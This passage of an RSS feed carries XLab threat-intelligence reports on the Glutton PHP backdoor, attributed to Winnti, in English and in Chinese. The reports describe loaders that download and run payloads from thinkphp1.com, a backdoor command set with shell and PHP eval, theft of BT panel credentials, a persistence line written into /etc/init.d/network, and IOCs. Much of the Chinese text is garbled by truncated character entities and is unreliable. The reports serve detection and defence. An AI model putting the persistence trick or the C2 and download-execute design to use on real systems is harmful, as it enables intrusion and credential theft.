 The obfuscation adds a layer of complexity, making reverse-engineering more challenging for defenders. The core functionality of the <code>l0ader</code> function remains unchanged; however, the network infrastructure used for communication has been updated. <table> <thead> <tr> <th> Module</th> <th>Reporter</th> <th>Downloader</th> </tr> </thead> <tbody> <tr> <td> <code>init_task</code></td> <td><code>udp://v6.thinkphp1[.]com:9988</code></td> <td><code>v6.thinkphp1[.]com/php?</code></td> </tr> <tr> <td> <code>client_loader</code></td> <td><code>udp://v20.thinkphp1[.]com:9988</code></td> <td><code>v20.thinkphp1[.]com/init?</code></td> </tr> </tbody> </table> The most notable enhancement in <code>client_loader</code> is the introduction of a new capability: downloading and executing a backdoored client. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_downclitask.png" alt="php_downclitask" loading="lazy"> <h3 id="why-add-a-backdoored-client">Why Add a Backdoored Client?</h3> One might wonder why the attackers introduced a backdoored client when the Winnti backdoor was already deployed. The reasoning becomes clear when considering the broader objectives and the advantages of a PHP-based backdoor: <ol> Cross-Platform Compatibility <ul> Unlike the ELF-based Winnti backdoor, the PHP client can operate seamlessly across Linux, Windows, and macOS systems.   Fileless Payload Delivery <ul> By leveraging PHP for backdoor functionalities, the attackers achieve higher stealth through fileless execution, reducing the likelihood of detection.   AV Evasion <ul> Antivirus engines often lack robust signatures for PHP-based malicious samples, allowing the PHP client to bypass traditional defenses.   <h1 id="part4-clienttask">Part4: client_task</h1> The <code>client_task</code> module is responsible for two primary tasks: <ol> Launching a PHP backdoor. Periodically executing the <code>fetch_task</code> function to retrieve and execute additional payloads. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_client_task.png" alt="php_client_task" loading="lazy"> <h2 id="0x01-php-backdoor">0x01: PHP Backdoor</h2> The PHP backdoor functionality is implemented using the <code>client_socket</code> class, which provides a framework for backdoor operations. <h4 id="core-features">Core Features</h4>   C2 Communication <ul> Hardcoded C2: <code>cc.thinkphp1.com:9501</code>. Supports both TCP and UDP, defaulting to UDP for communication.   <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_clientsocket.png" alt="php_clientsocket" loading="lazy">   Command Execution <ul> The <code>client_v1</code> class extends <code>client_socket</code>, using the <code>process_std_cmd_v1</code> class to process commands from the C2 server. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_clientv1.png" alt="php_clientv1" loading="lazy">   Supported Commands
 The backdoor supports 22 distinct commands, as shown below: <table> <thead> <tr> <th>ID</th> <th>Function</th> </tr> </thead> <tbody> <tr> <td>1</td> <td><code>ping</code> (UDP only)</td> </tr> <tr> <td>2</td> <td><code>pong</code> (UDP only)</td> </tr> <tr> <td>10</td> <td><code>login</code></td> </tr> <tr> <td>31</td> <td> <code>keepalive</code></td> </tr> <tr> <td>148</td> <td><code>set connection config</code></td> </tr> <tr> <td>149</td> <td><code>switch connection to TCP</code></td> </tr> <tr> <td>150</td> <td><code>switch connection to UDP</code></td> </tr> <tr> <td>151</td> <td> <code>shell</code></td> </tr> <tr> <td>152</td> <td><code>upload/download file via TCP</code></td> </tr> <tr> <td>189</td> <td> <code>get_temp_dir</code></td> </tr> <tr> <td>190</td> <td><code>scandir</code></td> </tr> <tr> <td>191</td> <td><code>get dir info</code></td> </tr> <tr> <td>192</td> <td><code>mkdir</code></td> </tr> <tr> <td>193</td> <td><code>write file</code></td> </tr> <tr> <td>194</td> <td> <code>read file</code></td> </tr> <tr> <td>195</td> <td><code>create file</code></td> </tr> <tr> <td>196</td> <td><code>rm</code></td> </tr> <tr> <td>197</td> <td><code>copy file</code></td> </tr> <tr> <td>198</td> <td><code>rename file</code></td> </tr> <tr> <td>199</td> <td> <code>chmod</code></td> </tr> <tr> <td>200</td> <td><code>chown</code></td> </tr> <tr> <td>201</td> <td><code>eval PHP code</code></td> </tr> </tbody> </table>   <h4 id="communication-protocol">Communication Protocol</h4> UDP Communication: <ul> Includes an additional "liveness check" process with a <code>ping</code> from the client and a <code>pong</code> response from the server. Typical interaction sequence: <code>ping → pong → login → cmd → heartbeat</code>.   <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_packet.png" alt="php_packet" loading="lazy">   Packet Structure: <ul> The first byte (<code>magic</code>) indicates compression, the second byte specifies the command code. <code>0xf0</code>: No compression. <code>0xf1</code>: Compression enabled (used for data >32 bytes).   Login Command: <ul> Contains host metadata such as <code>host_user</code>, <code>host_os</code>, <code>host_name</code>, and <code>host_cwd</code>. For compressed data (<code>0xf1</code>), the payload is parsed using "Raw Inflate" <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_login.png" alt="php_login" loading="lazy">   <h2 id="0x02-fetchtask">0x02: <code>fetch_task</code></h2> The <code>fetch_task</code> function is executed hourly. It retrieves and executes additional PHP payloads by making an HTTP request to the remote server. <h4 id="payload-retrieval-process">Payload Retrieval Process</h4>   URL: <code>http://v20.thinkphp1.com/v20/fetch</code>.   The response contains compressed PHP code, which is decompressed and executed. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_fetchtask.png" alt="php_fetchtask" loading="lazy">   <h4 id="observed-payloads">Observed Payloads</h4> Currently, the <code>fetch_task</code> function retrieves the <code>client_loader</code> payload, identified by the MD5 hash 69ed3ec3262a0d9cc4fd60cebfef2a17. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_fetchtrack.png" alt="php_fetchtrack.png" loading="lazy"> <h1 id="easter-eggs-in-glutton%E2%80%99s-campaign">Easter Eggs in Glutton’s Campaign</h1> <h2 id="jklwangcom">jklwang.com</h2> The <code>do_tp5_request</code> function in Glutton is used to clean up infections in older versions of the <code>Request.php</code> file. By analyzing the <code>$ref_lines</code> in the code, it was discovered that the domain <code>jklwang.com</code> (0 detections on VirusTotal) is also part of Glutton’s infrastructure. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_ang.png" alt="php_ang.png" loading="lazy"> This suggests that Glutton’s operators maintain a wider network of assets than initially detected, enabling them to extend their campaign reach. <h2 id="hackbrowserdata">HackBrowserData</h2> On June 14, the domain <code>v20.thinkphp1.com</code> was observed distributing a macOS version of the HackBrowserData tool. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_hackbrowser.png" alt="php_hackbrowser.png" loading="lazy"> <h4 id="about-hackbrowserdata">About HackBrowserData</h4> A legitimate tool designed to decrypt and export browser-stored data, including: Passwords,Browsing history,Cookies, etc. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_hack.png" alt="php_hack.png" loading="lazy"> We hypothesize that HackBrowserData was deployed as part of a "black eats black" strategy. When cybercriminals attempt to locally debug or modify backdoored business systems, Glutton’s operators deploy HackBrowserData to steal high-value sensitive information from the cybercriminals themselves. This creates a recursive attack chain, leveraging the attackers’ own activities against them. <h1 id="conclusion">Conclusion</h1> Based on the initial discovery of <code>init_task</code>, we estimate that Glutton has been active undetected in the cybersecurity landscape for over a year. In addition to targeting traditional “whitehat” victims through cybercrime, Glutton demonstrates a strategic focus on exploiting cybercrime resources operators. Its authors exhibit clear ambitions to "win three times", reflected in the following: <ol> Stealing high-value sensitive information from cybercrime operators. Profiting from the cybercrime industry itself, leveraging infected systems for significant economic gain. Harvesting sensitive data on crbercrime participants to enable future phishing or social engineering campaigns. To mitigate the threat posed by Glutton, we recommend that system administrators take the following steps to identify and neutralize potential infections: <ol> Inspect all PHP files for signs of <code>l0ader_shell</code>. Remove malicious processes, including the Winnti backdoor process and the PHP backdoor process. Harden temporary directories by creating a <code>.donot</code> file in <code>/tmp</code> to prevent exploitation. This analysis represents the extent of our current understanding of the Glutton backdoor. Due to limited visibility, its initial access vector remains unclear. We invite contributions from partners and readers with relevant intelligence to help enrich the technical and tactical matrix of Glutton and improve attribution efforts. If you are interested in our research, feel free to connect with us via Platform X to share insights or discuss collaborative opportunities. Together, we can work towards strengthening global cybersecurity. <h1 id="ioc">IOC</h1> <h2 id="md5">MD5</h2> <pre> <code>17dfbdae01ce4f0615e9a6f4a12036c4 - task_load 8fe73efbf5fd0207f9f4357adf081e35 - init_task 8e734319f78c1fb5308b1e270c865df4 - init_task 31c1c0ea4f9b85a7cddc992613f42a43 - init_task_win32 722a9acd6d101faf3e7168bec35b08f8 - client_loader 69ed3ec3262a0d9cc4fd60cebfef2a17 - client_loader f8ca32cb0336aaa1b30b8637acd8328d - client_task 00c5488873e4b3e72d1ccc3da1d1f7e4 - v11_l0ader_shell 4914b8e63f431fc65664c2a7beb7ecd5 - v20_l0ader_shell 6b5a58d7b82a57cddcd4e43630bb6542 - modify_php ba95fce092d48ba8c3ee8456ee4570e4 - hack-browser-data-darwin-arm64 ac290ca4b5d9bab434594b08e0883fc5 - winnti backdoor </code></pre> <h2 id="c2">C2</h2> <pre><code>cc.thinkphp1[.]com 156.251.163[.]120 </code></pre> <h2 id="downloader">Downloader</h2> <pre><code>IP 172.247.127.210 URL v6.thinkphp1[.]com/php? v20.thinkphp1[.]com/v20/init? v20.thinkphp1[.]com/v20/fetch? Reporter udp://jklwang.com:9999 udp://{v6|v20}.thinkphp1[.]com:9988 http://{v6|v20}.thinkphp1[.]com/bt http://{v6|v20}.thinkphp1[.]com/msg http://{v6|v20}.thinkphp1[.]com/save http://v6.thinkphp1[.]com/client/bt </code></pre>]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[黑白通吃：Glutton木马潜伏主流PHP框架，隐秘侵袭长达1年]]>
</title>
<description>
<![CDATA[<h1 id="%E7%AE%80%E4%BB%8B">简介</h1> 2024年4月29日，XLab 大网威胁感知系统捕获一起异常活动：IP 172.247.127.210 正在传播 ELF 版本的 winnti 后门木马。APT 相关告]]>
</description>
<link>https://blog.xlab.qianxin.com/glutton_stealthily_targets_mainstream_php_frameworks/</link>
<guid isPermaLink="false">663db96bfd1b1b00010832ee</guid>
<category>
<![CDATA[APT]]>
</category>

</category>
<category>
<![CDATA[Winnti]]>
</category>
<category>
<![CDATA[Backdoor]]>
</category>
<category>
<![CDATA[PHP]]>
</category>
<dc:creator>
<![CDATA[Alex.Turing]]>
</dc:creator>
<pubDate>Tue, 10 Dec 2024 03:31:00 GMT</pubDate>
<content:encoded>
<![CDATA[<h1 id="%E7%AE%80%E4%BB%8B">简介</h1> 2024年4月29日，XLab
大网威胁感知系统捕获一起异常活动：IP
172.247.127.210 正在传播 ELF 版本的 winnti 后门木马。APT
相关告警
的出现迅速引起了我们的注意。进一&#x6B6
IP 曾于2023年12月20日传播一个VirusTotal
0检测的恶意PHP文件<code>init_task.txt</code>
，这一线索为我们后续的调查提供了重&#x8981
 以 init_task
为线索，我们进一步发现了一系列关联&#x7684
PHP payload，包括
task_loader、init_task_win32、client_loader、client_task、fetch_task、l0ader_shell
等。这些 payload
的设计灵活，既可以单独运行，也可以&#x901A
task_loader 作为入口，逐步加载其他
payload，形成一个完整的攻击框架。框架中的
PHP 进程或 PHP-FPM(FastCGI)进程中执行，确保实现
无落地载荷的隐匿效果。至此一个
未被安全社区曝光的高级PHP木马
浮出水面，基于这个木马具备感染大&#x91C
PHP
文件，植入l0ader_shell的特性，我们将它命名为
Glutton，该木马的核心功能包括：
信息窃取
主机信息，包括操作系统版本、PHP版本等

宝塔敏感信息，例如用户凭据、管理接&#x
   安装后门 <ul> ELF版的 winnti 后门 PHP 后门
  代码注入
针对宝塔（BT）、ThinkPHP、Yii、Laravel 等流行 PHP
框架进行恶意代码注入。
引发告警的ELF样本 <code>ac290ca4b5d9bab434594b08e0883fc5</code>
正是由Glutton的init_task组件投递，该样本与 BlackBerry 在
2020 年 4 月 28 日发布的研究报告<a
href="https://blogs.blackberry.com/en/2020/04/decade-of-the-rats?ref=blog.xlab.qianxin.com">《Decade of the RATs》
中提到的后门 PWNLNX tool，以及 <a
href="https://x.com/IntezerLabs/status/1308740144120213506?ref=blog.xlab.qianxin.com">IntezerLabs 于 2020 年 9 月 23
日推文
提及的样本几乎完全一致。目前，大多&#x
winnti 后门。作为 APT 组织 Winnti 的经典武器，其 Linux
版本自 2019
年首次被披露以来，尚未有其他黑客团&#x4F53
156.251.163[.]120在其存活时间内，能够正确响应样&#x672
<code>样本的专属性和C2的有效性
</code>来说，基本能够排除其他黑产团伙利用
   样本的专属性：winnti 后门是 Winnti
组织的标志性工具，未见流传于其他黑&#x4EA7
   C2 的有效性：C2
地址能够正常交互，进一步表明此次活&#x52A8
   <code>基于 winnti 后门的真实性 和
Glutton的投递行为</code>，从理论上可以研判 Glutton
归属于 APT 组织 Winnti。
不过，从技术分析的角度来看，Glutton样本，
  C2
网络通信缺乏加密：协议过于基础非常&#x5BB9
 Downloader 网络通信未启用
HTTPS：HTTP通信非常容易被拦截或监控。 PHP
样本缺乏加密或混淆：样本以源码形式&#x5B58

基础设施的欺骗性不强：活动投入的域&#x
  综上，尽管 Glutton 的投递行为与 Winnti
组织强相关，但其隐匿能力的不足和技&#x672F
中等信心将 Glutton 定性为 Winnti 组织的新武器
。 <h1 id="%E9%BB%91%E7%99%BD%E5%8F%97%E5%AE%B3%E8%80%85">黑白受害者</h1>
以请求C2
<code>cc.thinkphp1[.]com</code>做为被感染的标识，从我们的数
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_location.png" alt="php_location.png" loading="lazy">
在我们的溯源过程中，还发现了一个有&#x6
 <table> <thead> <tr> <th>Index</th> <th>MD5</th> <th>DETECTION</th> <th>FIRST SEEN</th> <th>Country</th> </tr> </thead> <tbody> <tr>
<td>1</td> <td>3f8273575d4c75053110a3d237fda32c</td> <td>2/65</td> <td>2024.08.11</td> <td>China</td> </tr> <tr> <td>2</td>
<td>c1f6b7282408d4dfdc46e22bbdb3050f</td> <td>0/59</td> <td>2024.09.17</td> <td>Germany</td> </tr> <tr> <td>3</td>
<td>96fef42b234920f3eacfe718728b08a1</td> <td>0/63</td> <td>2024.10.14</td> <td>SINGAPORE</td> </tr> <tr> <td>4</td>
<td>ad150541a0a3e83b42da4752eb7e269b</td> <td>1/62</td> <td>2024.11.02</td> <td>UNITED STATES</td> </tr> <tr> <td>5</td>
<td>ad0d88982c7b297bb91bb9b4759ce0ab</td> <td>4/41</td> <td>2024.11.27</td> <td>UNITED STATES</td> </tr> </tbody> </table>
其中编号1，2，3是单个PHP文件；编号4，5为&#x5
网络诈骗常用的刷单抢单
系统，恶意代码
l0ader_shell位于thinkphp框架中的APP.php。 <img
src="https://blog.xlab.qianxin.com/content/images/2024/12/php_thinkapp.png" alt="php_thinkapp.png" loading="lazy">
VT中显示它的Compressed Parents是
<code>shuadan109.timibbs.cc_20241026_175636.tar.gz</code>，通过这个线索，我们&#x53D
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_timibbs.png" alt="php_timibbs.png" loading="lazy">
这个所谓的天美论坛上有大量博彩，棋&#x7
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_timislo.png" alt="php_timislo.png" loading="lazy">
虽然我们没有花钱去验证VT上的那套代码&#
  黑客是论坛用户，购买资源后投毒
黑客入侵论坛，向其网络资源投毒
黑客属于论坛，共同研发带毒的网络资&#x

黑客与论坛无关，研发了带毒的网络资&#x

无论哪种情况是，都暴露了作者收割黑&#x7
 <blockquote> <blockquote>
“大把大把的钱让搞博彩，棋牌，刷单&#x7
 </blockquote> </blockquote> <h1 id="glutton%E5%88%86%E6%9E%90">Glutton分析</h1>
我们目前捕获了多个Glutton组件，包括
<code>task_loader</code>、<code>init_task</code>、<code>client_loader</code>、<code>client_task</code>、

 这些 PHP
组件既可以独立运行，也可以通过 task_loader
作为入口逐步加载其他模块，构建一个&#x65E0
PHP 文件，并部署 Winnti 后门 和 PHP
后门。这种模块化设计不仅增强了攻击&#x7684
 我们推测，攻击者在传播 Glutton
时采用了多种手段：除了传统的 0DAY、NDAY
漏洞和弱口令入侵方式外，还可能通过&#x9ED1
l0ader_shell
的业务系统，以进一步扩大感染范围，&#x5BF9
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_brief.png" alt="php_brief.png" loading="lazy">
设备感染Glutton后有以下迹象
文件层面：PHP文件中被植入l0ader_shell
 <img
src="https://blog.xlab.qianxin.com/content/images/2024/12/php_flag1.png" alt="php_flag1.png" loading="lazy">
进程层面：监听UDP端口6006的winnti backdoor进程<code>php-
fpm</code>；udp通信的php backdoor进程<code>[kworker/0:0HC]</code>
 <img
src="https://blog.xlab.qianxin.com/content/images/2024/12/php_flag2.png" alt="php_flag2.png" loading="lazy"> <h1 id="part1-
taskloader">Part1: task_loader</h1>
task_loader核心功能是检查执行环境，根据环境&
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_taskloader.png" alt="php_taskloader" loading="lazy">
其中run_task_by_fpm没有实现，run_task_by_system，run&get_php_code下载&#x7684
 <table> <thead> <tr> <th>Function</th> <th>PATH</th> <th>Execution Env</th> </tr> </thead> <tbody> <tr> <td>run_task_by_system</td>
<td>/v11/init_task.gz</td> <td>new php process</td> </tr> <tr> <td>run&get_php_code</td> <td>/v11/init_task.gz</td> <td>fastcgi</td> </tr>
<tr> <td>run_task_direct</td> <td>/v11/modify_php_v11.gz</td> <td>original php process</td> </tr> </tbody> </table> <h1 id="part2-
inittask">Part2: init_task</h1>
init_task的主要任务有3个：elf_install则是下载执行winnti&
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_inittask.png" alt="php_inittask" loading="lazy"> <h2
id="0x01elfinstall-%E4%BB%BB%E5%8A%A1">0x01:elf_install 任务</h2>
elf_install任务，它向服务器请求winnti后门，将其&#x
fpm文件，并通过向/etc/init.d/network中插入<code>export OLD=$PATH; export
PATH=/usr/lib/; php-fpm; export PATH=$OLD;
</code>实现持久化。目前一共检测到3个不同&#x7684
 <table> <thead> <tr> <th>URL</th> <th>MD5</th> </tr> </thead> <tbody> <tr> <td>172.247.127[.]210/v10/php-fpm</td>
<td>ac290ca4b5d9bab434594b08e0883fc5</td> </tr> <tr> <td>v6.thinkphp1[.]com/v11/php-fpm</td> <td>ac290ca4b5d9bab434594b08e0883fc5</td> </tr>
<tr> <td>v20.thinkphp1[.]com/static/v20/php-fpm</td> <td>ac290ca4b5d9bab434594b08e0883fc5</td> </tr> </tbody> </table>
ac290ca4b5d9bab434594b08e0883fc5与BlackBerry曝光样本高度相似，只是&#
<code>C2更新，样本更新
</code>等功能。C2配置依然使用经典rolling
xor加密，秘钥为
CB2FA36AAA9541F0，一共支持3组C2，解密后均为156.251.163
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_winnti.png" alt="php_winnti" loading="lazy">
目前该IP已失活，但历史上可以看出它能&#x6B
c2。 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_c2.png" alt="php_c2.png" loading="lazy"> <h2 id="0x02-
btmodify%E4%BB%BB%E5%8A%A1">0x02: bt_modify任务</h2>
在bt_modify任务中，find_all函数用于采集宝塔的敏&#x
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_modifybt.png" alt="php_modifybt" loading="lazy">
find_all收集用户名，密码，手机号，SSH凭&#x
 <table> <thead> <tr> <th>admin_path</th> <th>bt_apass</th> <th>basic_auth</th> <th>basic_pass</th> <th>basic_user</th> </tr> </thead>
<tbody> <tr> <td>bt_clients</td> <td>crontabs</td> <td>databases</td> <td>bt_dir</td> <td>bt_domain</td> </tr> <tr> <td>bt_ftps</td>
<td>bt_https</td> <td>bt_mobile</td> <td>mysql_root</td> <td>bt_pass_md5</td> </tr> <tr> <td>bt_passwd</td> <td>phpmyadmin</td>
<td>bt_port</td> <td>bt_sites</td> <td>bt_sites_path</td> </tr> <tr> <td>bt_ssh</td> <td>bt_user_md5</td> <td>bt_username</td> <td></td> <td>
</td> </tr> </tbody> </table>
实际产生的流量如下所示，将body部分内容
decode + raw inflate即可还原。 <img
src="https://blog.xlab.qianxin.com/content/images/2024/12/php_findall.png" alt="php_findall" loading="lazy"> do_modify

do_modify对宝塔框架中的init.py，public.py，ssh_terminal.py，files.py，conf
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_domodify.png" alt="php_domodify" loading="lazy">
窃取凭证，token等
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_userlogin.png"
alt="php_userlogin.png" loading="lazy">
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_token.png" alt="php_token.png"
loading="lazy"> 暴露资产
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_expose.png"
alt="php_expose.png" loading="lazy"> <h2 id="0x03-phpmodify%E4%BB%BB%E5%8A%A1">0x03: php_modify任务</h2>
php_modify任务通过以下代码片段对thinkphp，yii，larvavel&#xFF0C
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_modifyphp.png" alt="php_modifyphp" loading="lazy">
修改逻辑是在PHP框架ӣ码中出现$ref_lineӣ码的
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_modifyref.png" alt="php_modifyref" loading="lazy">
这些篡改的页面被调用时，v11_code也就得到&#x4
<code>v11_begin + PHPCODE_MAIN +
v11_end</code>3部分组成，其中v11_begin与v11_end的值分别
<code>b11st=0；b11end=0;
</code>而PHPCODE_MAIN则是init_task中一个const变量，保存了一&#x4E2
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_maincode.png" alt="php_maincode" loading="lazy">
l0ader函数的功能有俩个：
使用UDP协议上报被主机信息以及被触发页&
v6.thinkphp1[.]com:9988 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_maincodereport.png"
alt="php_maincodereport" loading="lazy">
实际产生的流量如下所示： <img
src="https://blog.xlab.qianxin.com/content/images/2024/12/php_maincodeudp.png" alt="php_maincodeudp" loading="lazy">
构建HTTP请求，下载执行下一阶段的client_loader。
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_downcli.png" alt="php_downcli" loading="lazy">
实际产生的流量如下所示： <img
src="https://blog.xlab.qianxin.com/content/images/2024/12/php_requestcli.png" alt="php_requestcli" loading="lazy">   <h1
id="part3-clientloader">Part3: client_loader</h1>
client_loader实际上是init_task的重构版本，它支持init_task&#x62

第一个大变化是php_modify，它的10ader函数的代码&#x5F00
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_makecode.png" alt="php_makecode.png" loading="lazy">
loader的功能依旧，只不过使用的网络基础&#x8BB
 <table> <thead> <tr> <th>File</th> <th>Reporter</th> <th>Downloader</th> </tr> </thead> <tbody> <tr> <td>init_task</td>
<td>udp://v6.thinkphp1[.]com:9988</td> <td>v6.thinkphp1[.]com/php?</td> </tr> <tr> <td>client_laoder</td>
<td>udp://v20.thinkphp1[.]com:9988</td> <td>v20.thinkphp1[.]com/init?</td> </tr> </tbody> </table>
第二个大变化是新增了一个新功能，下&#x8
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_downclitask.png" alt="php_downclitask" loading="lazy">
读者或许会问已经有了winnti后门，为什么&#x8FD
  能很好的跨平台
无落地文件投递方式带来的高隐蔽性
杀毒引擎对于PHP语言实现的恶意样本不具
  <h1 id="part4-clienttask">Part4: client_task</h1>
client_task的主要任务有俩个：1是启动PHP后门木&#x9A
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_client_task.png" alt="php_client_task" loading="lazy"> <h2
id="0x1-php%E5%90%8E%E9%97%A8">0x1 PHP后门</h2>
client_socket类实现了php后门的功能框架，它硬编&#x7
cc.thinkphp1.com:9501，支持TCP,UDP俩种通信方式，默认&#
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_clientsocket.png" alt="php_clientsocket" loading="lazy">
client_v1类继承client_socket，通过process_std_cmd_v1类处理C2下发的&#
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_clientv1.png" alt="php_clientv1" loading="lazy">
这个php后门支持22个不同的指令，下为&#x6307
 <table> <thead> <tr> <th>ID</th> <th>Function</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>ping(udp only)</td> </tr> <tr> <td>2</td>

<td>pong(udp only)</td> </tr> <tr> <td>10</td> <td>login</td> </tr> <tr> <td>31</td> <td>keepalive</td> </tr> <tr> <td>148</td> <td>set connection config</td> </tr> <tr> <td>149</td> <td>switch connection to tcp</td> </tr> <tr> <td>150</td> <td>switch connection to udp</td> </tr> <tr> <td>151</td> <td>shell</td> </tr> <tr> <td>152</td> <td>upload/download file via tcp</td> </tr> <tr> <td>189</td> <td>get_temp_dir</td> </tr> <tr> <td>190</td> <td>scandir</td> </tr> <tr> <td>191</td> <td>get dir info</td> </tr> <tr> <td>192</td> <td>mkdir</td> </tr> <tr> <td>193</td> <td>write file</td> </tr> <tr> <td>194</td> <td>read file</td> </tr> <tr> <td>195</td> <td>create file</td> </tr> <tr> <td>196</td> <td>rm</td> </tr> <tr> <td>197</td> <td>copy file</td> </tr> <tr> <td>198</td> <td>rename file</td> </tr> <tr> <td>199</td> <td>chmod</td> </tr> <tr> <td>200</td> <td>chown</td> </tr> <tr> <td>201</td> <td>eval php code</td> </tr> </tbody> </table> UDP和TCP的通信过程几乎一样，除了UDP一个前&#x ping, server pong。以UDP通信为例，可以很清晰的看出“ping - pong - login -cmd - heartbeat”的交互过程。网络通信报文的第一&#x4E2 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_packet.png" alt="php_packet" loading="lazy"> login指令中的数据该如何解析呢？0xf1表示压&#x host_os, host_name, host_cwd等信息。 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_login.png" alt="php_login" loading="lazy"> <h2 id="0x2-fetchtask">0x2 Fetch_task</h2> Fetch_task每小时执行一次，向远程服务器 <code>http://v20.thinkphp1.com/v20/fetch</code>请求PHP代码，解压执行。 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_fetchtask.png" alt="php_fetchtask" loading="lazy"> 从我们的跟踪系统来看，目前Fetch_task拉取的pa client_loader。 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_fetchtrack.png" alt="php_fetchtrack.png" loading="lazy"> <h1 id="%E5%BD%A9%E8%9B%8B">彩蛋</h1> <h2 id="jklwangcom">jklwang.com</h2> Glutton通过do_tp5_request函数清理旧版本对Request.php文件感&#x6 0检测的域名<code>jklwang.com</code>也是Glutton的资产。 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_ang.png" alt="php_ang.png" loading="lazy"> <h2 id="hackbrowserdata">HackBrowserData</h2> 6月14 日，<code>v20.thinkphp1.com</code> 曾传播 Mac 版 HackBrowserData 工具。
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_hackbrowser.png" alt="php_hackbrowser.png" loading="lazy"> 该工具可解密并导出浏览器中的数据，&#x5 及扩展程序。 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_hack.png" alt="php_hack.png" loading="lazy"> 我们推测其使用场景为：当黑灰产在本&#x5 HackBrowserData 工具，窃取黑灰产自身的高价值敏感信息 <h1 id="%E6%80%BB%E7%BB%93">总结</h1> 根据 <code>init_task</code> 的首次发现时间推测，Glutton 至少已在安全社区的监测之外活动超过&#x4E00 Glutton 还展现了对“黑方”浓厚的兴趣，其作&#x8005 <ol> 窃取黑灰产发起者的高价值敏感信息 ； 收割黑灰产业务本身带来的巨额经济&#x5229 ； 收集黑灰产参与者的敏感数据，为后&#x7EED 。 我们建议网络管理员对 PHP 文件进行全面排查，并根据前文描述的 Glutton 行为特征，判断系统是否受到感染，以&#x53CA <ol> 清理PHP中的l0ader_shell 清理进程中的winnti 后门进程，以及php后门进程 在/tmp目录创建.donot文件，实现免疫 以上为我们目前掌握的关于 Glutton 后门 的全部情报。由于视野有限，其初始访&#x95EE Access）仍不清晰。我们欢迎有相关情报的友&#& Glutton 的技战术矩阵及归属分析，共同维护网&#x7EDC 如果您对我们的研究感兴趣，欢迎通过 X 平台 与我们联系！ <h1 id="ioc">IOC</h1> <h2 id="md5">MD5</h2> <pre><code>17dfbdae01ce4f0615e9a6f4a12036c4 - task_load 8fe73efbf5fd0207f9f4357adf081e35 - init_task 8e734319f78c1fb5308b1e270c865df4 - init_task 31c1c0ea4f9b85a7cddc992613f42a43 - init_task_win32 722a9acd6d101faf3e7168bec35b08f8 - client_loader 69ed3ec3262a0d9cc4fd60cebfef2a17 - client_loader f8ca32cb0336aaa1b30b8637acd8328d - client_task 00c5488873e4b3e72d1ccc3da1d1f7e4 - v11_l0ader_shell 4914b8e63f431fc65664c2a7beb7ecd5 - v20_l0ader_shell 6b5a58d7b82a57cddcd4e43630bb6542 - modify_php ba95fce092d48ba8c3ee8456ee4570e4 - hack-browser-data-darwin-arm64 ac290ca4b5d9bab434594b08e0883fc5 - winnti backdoor </code></pre> <h2 id="c2">C2</h2> <pre><code>cc.thinkphp1[.]com 156.251.163[.]120 </code></pre> <h2 id="downloader">Downloader</h2> <pre><code>IP 172.247.127.210 URL v6.thinkphp1[.]com/php? v20.thinkphp1[.]com/v20/init? v20.thinkphp1[.]com/v20/fetch? </code></pre> <h2 id="reporter">Reporter</h2> <pre> <code>udp://jklwang.com:9999 udp://{v6|v20}.thinkphp1[.]com:9988 http://{v6|v20}.thinkphp1[.]com/bt http://{v6|v20}.thinkphp1[.]com/msg http://{v6|v20}.thinkphp1[.]com/save http://v6.thinkphp1[.]com/client/bt </code></pre>]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[New Zero-Detection Variant of Melofee Backdoor from Winnti Strikes RHEL 7.9]]>
</title>
<description>
<![CDATA[<h1 id="background">Background</h1> On July 27, 2024, <code>XLab's Cyber Threat Insight and Analysis System(CTIA)</code> detected an ELF file named pskt from IP address 45.92.156.166. Currently undetected on VirusTotal, the file triggered two alerts: an Overlay section and a communication domain mimicking Microsoft. Our analysis identified it]]>
</description>
<link>https://blog.xlab.qianxin.com/analysis_of_new_melofee_variant_en/</link>
<guid isPermaLink="false">6731bdbf6bb47b000118f3ad</guid>
<category>
<![CDATA[APT]]>
</category>
<category>
<![CDATA[Backdoor]]>
</category>
<category>
<![CDATA[Winnti]]>
</category>
<category>
